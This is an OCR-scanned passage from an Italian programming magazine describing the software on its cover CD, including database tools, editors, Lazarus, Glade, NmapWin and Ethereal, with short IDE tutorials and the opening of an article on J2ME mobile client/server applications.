massimo di venti progetti. 
PopulateMSI.zip 

EasiReporter 3.4.1 

Crea e stampa report per database 

Senza richiedere alcuna conoscenza 
di SQL, EasiReporter consente di 
creare, modificare e stampare report per 
database di assoluto livello professiona- 
le: tutte le query necessarie al recupero 
delle informazioni sul DB sono generate 
al volo. 

EasiReporter può essere integrato in 
qualsiasi applicazione C# e VB. Versione 
di prova, richiede che sia installato il 
Microsoft .NET Framework 1.1. 
EasiReporterSetup. 3.4.1 .msi 



DbVisualizer 4.1 

Gestisci più database via JDBC 

Un tool per la gestione di database 
completamente cross-platform: 
grazie alla connessione 1DBC è possibile 
connettersi a pressoché a qualsiasi data- 
base su qualsiasi piattaforma. 
L'interfaccia grafica semplifica notevol- 
mente tutte le principali operazioni di 
manipolazione sia della struttura che dei 
contenuti dei DB. E' possibile eseguire 
ed archiviare script SQL e leggere tutte le 
proprietà degli oggetti presenti in una 
base di dati. Le capacità grafiche ne 
fanno anche un ottimo strumento per 
effettuare il reverse-engineering di 
Database sviluppati da terzi: la mappa 
che otterremo sarà di fondamentale 
importanza per poter impostare intera- 
gire al meglio con il DB. 




Versione di prova, è necessario che sia 
installato il runtime di fava nella versio- 
ne 1.4 o superiore. 
dbvis41.exe 

ProgramEditPad 1.2 

Un editor testuale per codice C# 

Come noto, il framework .NET è una 
piattaforma completamente gratui- 
ta.A differenza del Visual Studio che, a 
fronte dei mille pregi, si pone sul mercato 
a prezzi non alla portata di tutti gli hobbi- 
sti. Per chi vuole cominciare a "smanetta- 
re" con .NET e vuole un piccolo aiuto 
nella digitazione del codice, senza dover 
spendere le cifre richieste daVS.NET, Pro- 
gramEditPad può rappresentare una vali- 
da proposta. Con appena 30 dollari si può 
avere la licenza per questo editor onesto 
e leggero che si fa apprezzare per la sua 
essenzialità. Non mancano le fun- 
zionalità di base ed alcune inaspettate 
sorprese: undol redo illimitato, indenta- 
zione automatica, evidenziazione sintat- 
tica personalizzabile. 
ProgramEditPad. msi 
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Resource Standard 
Metrics 6.4 

Analizza il tuo codice Java, C e C++ 

Resource Standard Metrics (RSM) offre 
un ricco ventaglio di analisi utili a defi- 
nire la qualità del tuo codice. È possibile 
verificare che il codice che produciamo 
rispetti oltre cinquanta regole comune- 
mente accettate come indice di qualità. La 
precisione e la velocità di questo prodotto 
hanno fatto si che fosse scelto da oltre 
1000 aziende in tutto il mondo. 
Versione di prova, può analizzare un mas- 
simo di dieci file. 
rsm.zip 

Power Render 5.09 

Crea applicazioni e giochi 
in grafica 3D 

Una complessa infrastruttura per la 
realizzazione di grafica tridimensio- 
nale, applicabile sia a videogiochi che ad 
applicazioni 3D. Richiede che siano instal- 
lati sia una scheda grafica 3D, sia le direct 
9. Supporta C/C++, Delphi e VB.NET e, 




oltre a potenti API, include degli efficaci 
tool per la costruzione di texture, geome- 
trie, font e molto altro ancora. Il motore 
tridimensionale integrato e fra i più veloci 
in circolazione. Versione dimostrativa. 
PR509.zip 

Astrum 
InstalIWizard 2.02.5 

Crea il tuo setup 

Astrum InstalIWizard è un versatile 
software per la creazione di pacchetti 
di installazione. Potente e ben ideato, con- 
sente di arrivare al pacchetto di installazio- 
ne completo attraverso una semplice e 
chiara procedura guidata. L'ottimo help ed 
i numerosi tutorial aiutano anche i meno 
esperti a realizzare in pochi istanti pac- 
chetti di livello professionale. Non rinun- 
cia alla completezza comprendendo sup- 
porto per file JPEG ed MP3. È possibile uti- 
lizzare variabili utente, dividere i file di in- 



stallazione su più dischi e interagire in va- 
rio modo con il registro di Windows. Sem- 
plice ed altamente personalizzabile. Da ri- 
marcare la presenza di un apposito Wizard 
per la creazione di update. Questa release 
gestisce pacchetti di installazione la cui di- 
mensione può arrivare fino a 4GB insieme 
ad altri piccoli miglioramenti che riguarda- 
no l'ottimizzazione della gestione delle ri- 
sorse. Versione dimostrativa, risulta inibita 
la possibilità di creare distribuzioni. 



Learn Java 

Un'occasione per imparare Java 

La prima puntata di un buon corso Java 
sviluppato come animazione Flash. 
Semplice e ben strutturato, il corso si svi- 



Java 2 
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luppa attraverso esempi di crescente diffi- 
coltà. Il difetto più grande: è in inglese! 
joegrip-java-firstapp.zip 

WinPTE 3.0 build 359 

Un editor testuale programmabile 

Uno dei text editor più ampiamente 
personalizzabili in circolazione: grazie 
al supporto per lo scripting in vba e peri, 
WinPTE può adattarsi a qualsiasi esigenza. 
Oltre alle funzionalità tipiche dei migliori 
editor testuali, avremo a disposizione delle 
innovative funzioni per la velocizzazione 
dell'editing, come ad esempio il Power 
Block Mode che consente di replicare le 
modifiche digitate in una riga, su un nume- 
ro indefinito di altre righe. Anche l'Auto 
Format si rivela di grande utilità, conser- 
vando tutte formattazione e indentazione 
durante le operazioni di copia e incolla. 
Versione di valutazione valida trenta giorni. 
WinPTE.zip 

WinDriver 6.2 

Genera il codice dei driver 
automaticamente 

Un tool che consente di accedere alle 
periferiche Hardware, senza la neces- 
sità di scrivere il codice dei driver. Grazie 



ad una serie di wizard, WinDriver ricono- 
sce l'hardware installato e genera tutto il 
codice C/C++ necessario a gestirlo. Le 
periferiche supportate sono moltissime, 
tra i produttori si annoverano: PLX, Altera, 
Cypress, QuickLogic, National Semicon- 
ductor, STMicroelectronics, Texas Instru- 
ments, Xilinx, PLDA e AMCC. WinDriver 
6.2 supporta il kernel Linux 2.6. Versione di 
valutazione valida trenta giorni. 
WD620.EXE 

Lite Edit 1.0 

Un text editor leggero leggero 

Una piccola applicazione gratuita, "fatta 
in casa" che consente di editare qual- 
siasi file di testo. Orientata alla gestione di 
codice di programmazione, riconosce la 
sintassi dei principali linguaggi. 
All'apparenza è poco più che un progettino 
sperimentale ma, alla prova dei fatti, si di- 
mostra talmente semplice e leggero da farsi 
apprezzare anche in ambiti "professionali". 
Iiteedit10.zip 

C++ 

PDF OCX 2.0 

Converti tutti i formati Office in PDF 

Un potente controllo OCX che consen- 
te di creare documenti PDF, in modo 
del tutto automatico, a partire da fogli Ex- 
cel, documenti Word, presentazioni Po- 
werPoint, report di Access, immagini e file 
di testo. LOCX che presentiamo consente 
anche di creare documenti ex-novo, unen- 
do più fonti di formato diverso: sarà ad 
esempio possibile effettuare il merge di 
pagine Word con scene prese da Power- 
Point, prendendo note da un forglio Excel 
e così via. Versione di valutazione, si disat- 
tiva dopo cento utilizzi. 
pdfocx.exe 

hpCDE + DVD SDK 1.40 

Crea applicazioni 

che masterizzano CD e DVD 

Un controllo che consente di masteriz- 
zare qualsiasi supporto con qualsiasi 
file system. Le API esposte nascondono 
completamente le difficoltà insite nel pilo- 
tare diverse interfacce, diversi masterizza- 
tori e firmware differenti. Il runtime ha un 
peso di soli 600KB e consente sia la maste- 
rizzazione Disc-At-Once sia quella Track- 
At-Once. Versione di valutazione, la velo- 
cità di scrittura risulta limitata per i DVD a 
IX, e peri CD a 4X. 
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VintaSoftTwain 
ActiveX Control 2.3 

Controlla qualsiasi dispositivo 
TWAIN 

Qualsiasi dispositivo in standard 
TWAIN può essere facilmente pilota- 
to, grazie a questo controllo ActiveX. Scan- 
ner e videocamere saranno sotto il nostro 
pieno controllo così come tutto il proces- 
so di acquisizione delle immagini. I for- 
mati di esportazione previsti per le imma- 
gini sono BMF! JPEG e TIFF ed è possibile 
inviarle via FTP, direttamente tramite il 
controllo. Versione dimostrativa. 
vstwain23 

BarCodeWiz ActiveX 
Component 1.53 

Codici a barre: creali nelle tue 
applicazioni 

Un controllo che consente di creare 
codici a barre di qualità professiona- 
le direttamente nelle applicazioni che svi- 
luppiamo. I codici possono poi essere in- 
seriti in documenti Word, nei report di Ac- 
cess e nei fogli Excel. Tutti i dettagli dell'e- 
tichetta possono essere ampiamente per- 
sonalizzati. Versione dimostrativa, tutti i 
codici a barre risultano segnati da un wa- 
termark. 
BarCodeWiz 1 53 Demo 

AxExplorerBar 1.1 

Aggiungi una task bar alle tue 
applicazioni 

Con un'interfaccia particolarmente 
lineare ed efficace, questo control- 
lo imita i gruppi di opzioni di Windows 
XP, consentendo di migliorare l'intera- 
zione con le applicazioni che sviluppia- 
mo. Semplice da integrare, viene pre- 
sentato in versione dimostrativa valida 
trenta giorni. 
axeb11.exe 

.NET 

Telnet Factory for .NET 2.0 

Aggiungi la compatibilità telnet 

Un componente che consente di 
integrare le funzionalità di tel- 
net nelle applicazioni .NET. È incluso 
un completo help ed un esempio con 
interfaccia grafica: bastano pochi 
istanti per realizzare applicazioni 
funzionanti. Versione di prova valida 
trenta giorni. 
Setup.msi 



GPS.NET Global 
Positioning SDK 1.3 pop 

Un GPS nelle nostre applicazioni 

Lì utilizzo del GPS va diffondendosi a 
i macchia d'olio, dimostrando sempre 
più la sua grande utilità in svariati campi 
applicativi. Questo componente ci dà l'oc- 
casione di integrare funzionalità di posi- 
zionamento nelle nostre applicazioni 
.NET. Oltre all'interrogazione dei dati, po- 
tremo anche visualizzarli attraverso le 
estensioni all'interfaccia fornite dallo stes- 
so componente. Versione di prova valida 
trenta giorni. 
GPSSDK10.zip 

ToolTipsFactory 1.2 

Aggiungi tool tip dinamici alle 
tue applicazioni 

Un set di componenti che permette di 
aggiungere sofisticati tooltip dinami- 
ci alle applicazioni .NET. Oltre al testo, i 
tooltip potranno immagini ed animazioni 
completamente personalizzabili. Versione 
di prova valida quindici giorni. 
ToolTipsFactory 1. 2.zip 

3D Control Magic 
for .NET 1.0 

Sostituisci i vecchi controlli di 
Windows! 

Per chi è alla ricerca di forti emozioniti) 
il controllo che proponiamo rappre- 
senta un sostituto dei vecchi pulsanti di 
Windows. Con un aspetto tridimensiona- 
le, potrete stupire gli utenti delle vostre 
applicazioni con pulsanti al neon, pulsan- 




ti gelatinosi e molto altro ancora. Versione 

dimostrativa. 

3dcm_t.exe 

ASPXpand 1.0 

Migliora l'interfaccia delle 
applicazioni Web 

Un componente che può aiutare a 
colmare il gap esistente fra le appli- 
cazioni Web e applicazioni desktop. Nu- 
merose funzionalità mai esportate prima 



sul Web ci aiutano a sviluppare Web 
application che non facciano rimpiange- 
re le applicazioni stand alone. Alcune 
funzioni risultano disabilitate in questa 
versione di prova. 
aspxpand1.zip 

JAVA 
JXMLPad 2.1 

Per creare e modificare documen- 
ti XML e XHTML 

Un framework basato su swing 100% 
che consente di integrare avanzate 
capacità di elaborazione testuale nelle 
applicazioni che sviluppiamo. Il supporto 
per XML Schema e l' evidenziazione sin- 
tattica ne fanno uno strumento di livello 
professionale. Versione di prova valida 
trenta giorni. 
unregistered.zip 

JDataGrid 1.1 

Migliora la presentazione dei dati 

Ak fine di rendere più semplice l'interazione 
con insiemi di dati, avremo a disposizione 
un datagrid su cui definire proprietà di cella, 
effettuare il merge e lo split, cercare e so- 
stituire testo, importare ed esportare dati, 
poter contare su funzioni di undo/redo, e 
molto altro ancota. Versione di prova, alcu- 
ne funzioni risultano disabilitate. 
datagrid-1_1-eval.zip 

3D Vertical Bar Graph 
Software 4.6 

Grafici a barre in un attimo 

Orientato allo sviluppo web, avremo a 
disposizione un piccolo framework client 
/server che consente di incorporare grafi- 
ci a barre tridimensionali all'interno di 
pagine Web. Ampiamente configurabile 
sia lato client, sia lato server. 
3DvbargraphEval.zip 

TransactionsJTA for 
Tomcat 1.30 

Facilita l'integrazione con database 

Un insieme di API che ai frappone fra il 
lato business ed il database dei sistemi che 
sviluppiamo. L'integrazione così realizzata 
può contare su una gestione sicura delle 
transazioni che garantisce la consistenza 
dei dati sia a seguito di crash sia a seguito 
di rawii del sistema. Versione dimostrati- 
va, sono supportate solo tre connessioni 
concorrenti. 
TransactionsJTAforTomcat_1_30.zip 
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Lazarus 0.9.1 

Un clone di Delphi per il compilatore FreePascal 



Lazarus è un ambizioso progetto il 
cui obiettivo è quello di creare un 
ambiente di sviluppo RAD (Rapid 
Application Development) multipiat- 
taforma (lo slogan del progetto è 
write once compile anywhere), simile 
a Delphi di Borland, distribuito con 
licenza GNU GPL (GNU General 
Public License). L'interfaccia dell'IDE 
è praticamente identica a quella di 
Delphi; inoltre, i componenti e le 
applicazioni possono essere trasferite 
da un ambiente all'altro con pochissi- 
me modifiche. Lazarus dispone di 
due librerie di classi interne: la LCL 
(Lazarus Component Library) e la 
FCL (Free Pascal Class Libraries). Il 
linguaggio utilizzato é Free Pascal, 
una versione modificata dell' Object 




Fig. 1: VIDE di Lazarus per Windows. 



Pascal utilizzato in Delphi, ma perfet- 
tamente compatibile con il Pascal. 



INTRODUZIONE 
ALL'IDE 

L'interfaccia grafica e la disposizione 
degli elementi che compongono l'am- 
biente di sviluppo integrato di Lazarus 
riproducono in maniera speculare l'in- 
terfaccia di Delphi e Kylix (il porting di 
Delphi per GNU/Linux) (Fig. 1). 
L'IDE è composto da quattro sezioni 
fondamentali: la finestra principale, 
l'Object Inspector, il Source Editor e il 
Form Designer. Nella finestra princi- 
pale sono presenti i menu, le barre 
degli strumenti e soprattutto la 
Component Palette sulla quale sono 
presenti tutti i componenti che è pos- 
sibile utilizzare nelle applicazioni che 
si stanno sviluppando. 
Il Source Editor è un editor ASCII, 
dotato di tutte le funzionalità proprie 
di questo tipo di applicazioni, attra- 
verso il quale si può gestire tutto il 
codice sorgente dell'applicazione 
(Fig. 2). 

L'Object Inspector consente di modi- 
ficare le proprietà dei componenti 




Fig. 2: Il Source Editor: l'editor per gestire il 
codice sorgente 



presenti nei Form dell'applicazione, 
per cambiarne l'aspetto e il compor- 
tamento. 

Il Form Designer è indispensabile per 
poter disporre e configurare i compo- 
nenti nei Form. 



Lazarus 0.9.1 

Produttore: Lazarus Project 

Sul Web: /www.lazarus.f reepascal.org/ 

LICENZA: GNU GPL 

Nel CD: lazarus-0.9.1 .zip 
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AGGIUNGERE UN MENU AD UN'APPLICAZIONE 




QDal menù principale selezioniamo 
FilelNew..., dopodiché dalla fine- 
stra di dialogo che appare scegliamo 
Project! 'Application. 



H Aggiungiamo al form principale i 
controllo TMaìnMenu disponibile 
nella Component palette nel pannello 
Standard. 




Edit Search View Project Run Winndcws Help 
New 
Open 
5ave 
Save f\s 



L 



H Selezioniamo il controllo e dall' 
Object Inspector un click su Items 
(TMenultem), ... e a questo punto appa- 
re il Menu Editor. 
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APACHE 
TOMCAT 5.0 

Eseguire Servlet e Java Server 
Page 

Tomcat è un servlet container 
Open Source (il codice è libero) 
sviluppato nell'ambito del progetto 
Apache Jakarta. Tomcat è l'imple- 
mentazione di riferimento per le 
specifiche delle servlet Java e delle 
JSP. 

L'installazione risulta molto sem- 
plice; praticamente bisogna mo- 
dificare semplicemente il file. Tom- 
cat contiene al suo interno tutte le 
funzionalità tipiche di un server 
web: interpreta la richiesta di una 
risorsa effettuata su protocollo 
HTTP, la indirizza ad un opportuno 
gestore e restituisce il risultato. 




La caratteristica più importante di 
cui dispone, è quella di fornire agli 
sviluppatori la possibilità di esegui- 
re applicazioni Java (servlet e JSP) in 
un ambiente "dedicato". 
tomcat.zip 



AMAYA 8.4 

Browser e editor Web insieme 

A maya è un client Web sviluppa- 
to direttamente dal consorzio 
W3C (l'ente che definisce gli stan- 
dard per il Web) con lo scopo di 
creare un ambiente di sviluppo e 
test WYSIWYG per le nuove tecnolo- 
gie destinate al Web. 
Il software può essere utilizzato 
contemporaneamente come siste- 
ma visuale integrato per la naviga- 
zione e la composizione di docu- 
menti HTML, XHTML, MathML 
(Mathematical Markup Language), 
SVG, CSS e SMIL Animation. 
Al momento esistono due correnti 




nello sviluppo di Amaya: una utiliz- 
za le librerie proprietarie Motif, 
mentre, l'altra si avvale delle libre- 
rie GTK+ (Open Source). 
amaya.zip 



DIA 0.92 

Per creare diagrammi 
di qualsiasi tipo 

Programma Open Source per la 
realizzazione di diagrammi 
strutturati basato su GTK+ distri- 
buito con licenza GPL. L'applicazio- 
ne è stata creata con lo scopo di 
creare un prodotto libero simile a 
Microsoft Visio per piattaforma 
Windows. 

Può essere utilizzato per creare dia- 
grammi di ogni genere. 
Include funzionalità per disegnare 
diagrammi di relazione tra entità, 
diagrammi UML (Unified Modeling 
Language), schemi, diagrammi di 
rete e semplici circuiti. 
Inoltre, grazie ad un sottoinsieme di 
SVG, consente di aggiungere nuove 
forme creando file XML. 
Infine, può utilizzare e salvare dia- 
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grammi in formato XML, ed è in 
grado di esportare diagrammi in 
formato EPS (Encapsulated Post- 
Script) o SVG e può stampare dia- 
grammi compresi quelli che si 
estendono su più pagine. 



dia-0.92-2.zip 

lUMAPWini 1.3.1 

Interfaccia grafica per 

10 scanner di rete Nmap 

Front-end grafico per Nmap (Net- 
work Mapper) il programma 
Open Source per l'esplorazione e la 
verifica della sicurezza delle reti. 

11 software è stato creato per esami- 
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nare rapidamente reti di grandi di- 
mensioni, ma può essere utilizzato 
anche su singoli host. Nmap utilizza 
dei semplici pacchetti IP per deter- 
minare quali host remoti sono in li- 
nea, quali servizi sono aperti (por- 
te), quale sistema operativo è utiliz- 
zato, quali tipi di filtri e firewall so- 
no attivi, e molte altre informazioni 
utili per analizzare in modo appro- 
fondito un sistema. Nmap è dispo- 
nibile per numerose piattaforme, 
con interfaccia grafica o console. 
L'interfaccia grafica, essenziale ed 
intuitiva, semplifica enormemente 
l'utilizzo del programma, masche- 
rando perfettamente la complessità 
insita nel campo della sicurezza e 
dell'amministrazione di rete. Effet- 
tuare la scansione di un singolo host 
è semplicissimo; basta semplice- 
mente inserire l'indirizzo IP o il del- 
l'host da sottoporre a scansione nel 
campo di testo Target, dopodiché 
bisogna selezionare le opzioni di 
scansione e premere il pulsante 
Scan. 

Il risultato della scansione verrà 
visualizzato nell'area di testo, men- 
tre, il campo Command in basso 
mostra la sintassi del comando se 
eseguito dalla riga di comando. 
nmapwin 1 .3.1 .zip 
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SOURCE FORGE 
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Giade 2.6.0 

Creare interfacce grafiche con 
i componenti delle librerie GTK+ 



Ambiente di sviluppo per la realizzazio- 
ne di sofisticate interfacce grafiche 
basate sulle librerie grafiche GTK+ (Gimp 
ToolKit). Giade dispone di un completo set 
di componenti (widget) per realizzare 
qualsiasi tipo di interfaccia. Inoltre è in 
grado di generare codice in diversi linguag- 
gi di programmazione tra cui C, C++, 
Ada95, Python e Perl; tutto questo grazie a 
una serie di strumenti esterni che si occu- 
pano di processare i file XML generati da 
Giade per la "descrizione" della struttura e 
dei componenti che costituiscono le inter- 
facce grafiche. 

COMPONENTI 

PRINCIPALI 

DELL'INTERFACCIA 

Il programma è costituito da tre frame 
separati: la finestra principale (Giade win- 
dow), l'editor delle proprietà (Property 
editor) e la finestra dei componenti 
(Widget Palette). La finestra principale 
contiene un menù e una barra degli stru- 
menti attraverso cui è possibile gestire i 
progetti e assemblare il codice sorgente 





t? Giade: Pro |T|f5](51 




Project Edit View Help 


Open Save Options Build 


"windowl 

g] dialogl 

2] filechooserdialogl 

s; colorselectiondialogl 

2 inputdialog 1 


Errar writing source. 



Fig. 1: Finestra principale dell'applicazione. 

generato. Inoltre, visualizza l'elenco dei 
form e delle finestre di dialogo che com- 
pongono il progetto; per visualizzare uno 
di questi "oggetti" basta un doppio click 
sulla voce corrispondente (Fig.l). La 
Widget Palette contiene tutti i componen- 
ti che è possibile utilizzare nell'applicazio- 
ne che si sta sviluppando. Il suo aspetto è 
molto simile alla Casella degli strumenti di 
Visual Basic, con i componenti divisi in tre 
categorie: GTK+ Basic, GTK+ Additional e 
Deprcated. Per aggiungere un componen- 
te e ad un progetto basta semplicemente 
selezionare l'icona corrispondente e clic- 
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Fig. 2: Da qui è possibile modificare le 
proprietà di ogni componente. 

care sul punto in cui questo si vuole 
aggiungere . Il Property editor è di fonda- 
mentale importanza, in quanto consente 
di visualizzare e modificare l'aspetto e le 
altre proprietà dei componenti utilizzati, 
consentendo così di personalizzare l'inter- 
faccia che si sta creando. Inoltre, utilizzan- 
do gli strumenti presenti nel pannello 
Signals è possibile gestire gli eventi asso- 
ciati ai ogni singolo componente. 



Giade 2.6.0 

Autore: Damon Chaplin 

Sul Web: http://qlade.anome.org/ 

Licenza: GNUGPL 

Nel CD: giade 2.4-rc3.zip 
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COSTRUIRE UNA SEMPLICE INTERFACCIA 



Q Dalla Widget Palette 
selezioniamo Window, in 
questo modo apparirà windowl 
frame principale dell'interfaccia. 
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H Stabiliamo la disposizione dei 
componenti facendo click su 
Table. Un click su windowl e sele- 
zioniamo 5 per le righe e le colonne. 



HCon lo stesso procedimento 
aggiungiamo due pulsanti but- 
tonl e button2 e da GTK+ Additional 
un calendario (Calendar). 
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ETHEREAL 0.10.3 

Analizzatore di protocolli di rete 

Ethereal è uno tra i più potenti ana- 
lizzatori di protocolli di rete, uno 
strumento essenziale per ogni ammi- 
nistratore, disponibile per diverse 
piattaforme, tra cui GNU /Linux e MS 
Windows. 

L'applicazione consente di esaminare i 
dati da una rete attiva o da un file su 
disco. 

È possibile navigare in modo interatti- 
vo attraverso i dati catturati, visualiz- 
zando descrizioni e informazioni det- 
tagliate per ogni pacchetto. Inoltre, 
Ethereal dispone di caratteristiche 
molto sofisticate, incluso un linguag- 
gio per la creazione di nuovi filtri di 
visualizzazione e funzionalità per rico- 
struire il flusso completo di una ses- 
sione. 




ethereal-0. 10. 3.zip 

NOTEPAD++ 2.0 

Editor per sviluppatori 

Notepad++ è un editor di codice per 
programmatori e un potente editor di 
testi per utenti comuni: leggero, versatile e 
altamente configurabile che integra nu- 
merosi algoritmi di codifica crittografica e 
alcuni udii tool. Il programma è realizzato 
interamente in C++, mentre i linguaggi 
supportati sono: C/C++, Java, HTML, 
XML, PHP JavaScript, Visual Basic, Perl, 
Python, CSS e tanti altri. Notepad++ è di- 
stribuito con licenza GNU GPL e alcune 
sue parti derivano dal progetto Scintola. 
npp.2.0.zip 

PDFCREATOR 0.8.0 

Applicazione per creare 
file PDF 

Programma Open Source (GNU GPL) 
standalone per creare file nel diffu- 



so formato PDF (Portable Document 
Format) di Adobe. 

PDFCreator funziona come un vero e 
proprio driver di stampa. In pratica 
PDFCreator converte nel formato PDF 
documenti prodotti con qualunque ap- 
plicazione. Una volta installato PDF- 
Creator, selezionandolo come stam- 
pante, i documenti invece di essere in- 
viati alla stampante verranno salvati su 
file nel formato PDF e visualizzabili con 
Adobe Acrobat Reader. 
PDFCreator-8.8_0.zip 

GTK+ FOR 

WINDOWS 2.2.4 

Libreria per sviluppare interfacce 
grafiche 

Toolkit Open Source multipiatta- 
forma per la realizzazione di sofi- 
sticate interface grafiche GUI (Graphi- 
cal User Interface). La libreria dispone 
di numerosi widget (componenti) per 
realizzare qualsiasi tipo di interfaccia 
da quelle più semplici a quelle più com- 
plesse ed elaborate con la possibilità di 
utilizzare look and feel differenti. GTK+ 
è a sua volta basata sulle librerie GLib, 
Pango e ATK. 
GTK-2.2.4-2.ZÌp 

TIIMYCAD 1.90 

Progettare circuiti elettrici 

Software CAD 2D per disegnare cir- 
cuiti elettrici distribuito con licenza 
LGPL (Lesser GNU Public Licerne). Tiny- 
CAD consente di progettare circuiti 
anche molto complessi, grazie alla ricca 
libreria di simboli di cui dispone. 




ERASER 5.7 

Rimuovere file definitivamente 

Quando si rimuove un file presente 
sul disco, in realtà si elimina solo il 
riferimento ad esso, quindi i dati che 
contiene possono essere ancora recu- 
perati e visualizzati, almeno fino a 
quando il file non verrà soprascritto più 
volte. 




Eraser è un software di sicurezza avan- 
zato per Windows, che permette la 
rimozione dei dati sensibili dal disco 
fisso in modo permanente mediante 
una riscrittura ripetuta diverse volte. 
eraser.zip 

FILEZILLA 2.2.5 

Client FTP stabile e sicuro 

FileZilla è un potente client FTP per 
sistemi Windows. Leggero, intuitivo 
e facile da utilizzare, possiede nume- 
rose caratteristiche, pur restando velo- 
ce, stabile e sicuro. 
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Inoltre, è dotato di strumenti che con- 
sentono di verificare il corretto funzio- 
namento dei circuiti appena creati. 
TinyCAD-1 .90.00.zip 



Le funzionalità principali di cui FileZilla 
dispone sono: ripristino di download e 
upload dopo un'interruzione, per- 
sonalizzazione dei comandi, gestione 
di siti con directory, funzionamento 
garantito anche in presenza di firewall, 
connessioni sicure tramite SSL, sup- 
porto Drag & Drop, supporto multilin- 
gue, autenticazione e criptaggio GSS 
con Kerberos. 
FileZilla 2 2 5a.zip 
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Applicazioni client/server su cellulari 



Cellulari e Web 
lo scambio dei dati 

Attraverso la realizzazione di un traduttore on-line, scopriremo 
come realizzare applicazioni client/server per telefonini Java. 
Sarà il primo passo vero l'interrogazione di Web Services. 




□ CD CI WEB 

Esempi_J2ME.zip 



V*** 



wm 




REQUISITI 



hai.wj.hj; 



— Conoscenze 
I—i di base di Java 



J2SE, J2ME 



Tempo di realizzazione 



0000 



Come molti di voi sapranno, J2ME è una ver- 
sione per così dire ridotta del JDK. J2ME può 
permettersi, grazie a dimensioni e requisiti 
notevolmente inferiori a quelli del J2SE, di essere 
utilizzato su apparecchi tecnologici di gran lunga 
meno potenti dei PC. Mi rendo conto che si tratta di 
una definizione che potenzialmente include molti 
oggetti della nostra vita quotidiana, ma in effetti è 
proprio così che stanno le cose: cellulari, palmari, 
organizer dai più semplici ai più sofisticati, set-top 
box, dispositivi veicolari, ed in genere molti dei 
microchip inseriti in una vasta gamma di strumenti 
elettronici. 



ARCHITETTURA 
DI J2ME 

L'ambiente esecutivo messo a disposizione dalla 
versione minore del JDK è stato studiato dal JCP con 
l'obiettivo di essere più flessibile ed adattabile pos- 
sibile, per poter così includere - sotto TAPI comune 
di un'unica specifica - un numero quanto mai ele- 
vato di supporti compatibili. Si tratta di un'architet- 
tura a strati, con il livello più basso che racchiude 
solamente la macchina virtuale e un insieme di clas- 
si ridotto all'essenziale che gestisce l'hardware di 
dispositivi con caratteristiche e tecnologie simili: 
quantità di memoria, velocità e banda di connetti- 
vità, dimensione numero di colori del display, e via 
dicendo. Questo primo strato viene chiamato confi- 
gurazione (configuration), ed attualmente ne sono 
disponibili due implementazioni: la CDC (connected 
device configuratiori) e la CLDC (connected limited 
device configuration) . La CDC è indirizzata agli stru- 
menti più potenti, come set-top box, gateway resi- 
denziali, PDA di alta tecnologia, sistemi telematici 
veicolari, etc. tutti con CPU a 32 bit e un minimo di 
2 Mb di memoria disponibile per Java e le sue appli- 



cazioni. La CLDC (Fig. 1) è invece destinata ad appa- 
rati molto più modesti, dai palmari più semplici, ai 
pager, fino ai cellulari di cui ci occuperemo in questo 
numero: qui si parla di connessioni intermittenti, 
processori a basse performance a 16 o 32 bit e me- 
moria tra i 128 e i 512 Kb. La macchina virtuale stes- 
sa subisce una notevole riduzione ed è chiamata 
KVM (la .RTsta per Kilobyte, in virtù del fatto che rara- 
mente opera con RAM che tocchi il Megabyte): si 
tratta di un'interessante riscrittura della macchina 
virtuale Java sviluppata per ottimizzarne dimensioni 
ed uso di memoria, tentando di non sacrificare le 
funzionalità basilari del linguaggio. 
Dunque, la configuration è una versione ridotta del 
J2SE, che include una macchina virtuale (la KVM nel 
caso di CLDC) e le librerie essenziali. Sul piano im- 
mediatamente superiore troviamo il profilo (profile), 
una libreria di alto livello che definisce ciclo vitale 
delle applicazioni e fornisce la base per la creazione 
di interfacce utente nonché l'accesso a proprietà 
specifiche dei dispositivi. È sostanzialmente lo stru- 
mento con cui i programmatori sviluppano le pro- 
prie applicazioni. Per la CDC questo strato è ulte- 
riormente suddiviso in una serie di API sempre più 



Optional Packages 

' Bluetooth. infrarossi. Web Servica, XML. Accesso Dati, etc 



MIDP (Profile) 

» Ul Libraries 

' Network Libraries 

' I/O Librarìes 



CLDC (Configuration) 

■ Core Librar es 

' Gestione a bassa livello del de 1 



KVM 

■ JVM Compatta per device mobili 



Fig. 1: Schema dell'architettura J2ME 
in configurazione CLDC. 
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granulari e specializzate {Foundation Profile alla 
base e Personal Profile o Personal Basis Profile in 
cima), mentre la CLDC offre un sostrato unico che è 
chiamato MIDP (Mobile Information Device Profile): 
esso si occupa della creazione delle interfacce uten- 
te, della connettività di rete, della gestione delle ap- 
plicazioni, facendo da wrapper per i servizi di basso 
livello offerti dalla CLDC. 

Infine, gli optional packages garantiscono l'estensi- 
bilità del framework implementano funzionalità ac- 
cessorie o di ultimo grido: bluetooth, web service, 
accesso ai dati, multimedia, e simili, e vengono in- 
cluse nell'ambiente esecutivo di un apparecchio in 
base alla sua potenza e capacità a discrezione del 
produttore. Come i JAR aggiuntivi che inserite nel 
vostro classpath per creare applicazioni con funzio- 
nalità che vanno oltre quelle che offre il IDK di base 
(per esempio la creazione di PDF, o driver per acces- 
so a database particolari, etc), così gli optional pac- 
kages aumentano la vostra produttività, ma devono 
essere chiaramente di dimensioni molto contenute 
rispetto a quelli a cui ci si è abituati con lo sviluppo 
lava classico. 



ARCHITETTURA 
DELLE APPLICAZIONI 

Parlando finalmente di codice e sviluppo, MIDlet è il 
termine con cui si designa una applicazione scritta 
per I2ME: la parola è stata coniata pensando al 
nome del profilo "MIDP" e seguendo l'abitudine - 
nata con gli Applet - di aggiungere -let alle nuove 
denominazioni (siamo già a quota 4: Applet, Servlet, 
Portlet e MIDlet). Si tratta di una classe derivata da 
javax.microedition.midlet.MIDlet e, in maniera si- 
mile agli Applet che venivano utilizzate in un conte- 
sto esecutivo offerto dal browser, il MIDlet viene 
preso in carico da un gestore applicativo - chiamato 
indifferentemente Java Application Manager (JAM) 
o Application Manager Software (AMS) - il quale si 
occupa del ciclo vitale dell'oggetto e, di conseguen- 
za, dell'applicazione fava che esso rappresenta. Il 
IAM, o AMS che dir si voglia, è un software specifico 
di ogni singolo dispositivo, implementato dal pro- 
duttore dell'apparecchio, che si prende carico di 
installare, eseguire e rimuovere i file di classe e di 
risorsa associati ai programmi che l'utente scarica. 
Come è facile immaginare, IAM richiede che le 
applicazioni I2ME rispettino un protocollo ben pre- 
ciso relativamente alla loro esecuzione (Fig. 2): esse 
hanno un ciclo vitale che consta di tre stati (active, 
paused, destroyed) e la loro vita inizia nello stato 
paused quando l'AMS ne istanzia la classe relativa. 
Se viene lanciata un'eccezione nel costruttore, l'ap- 
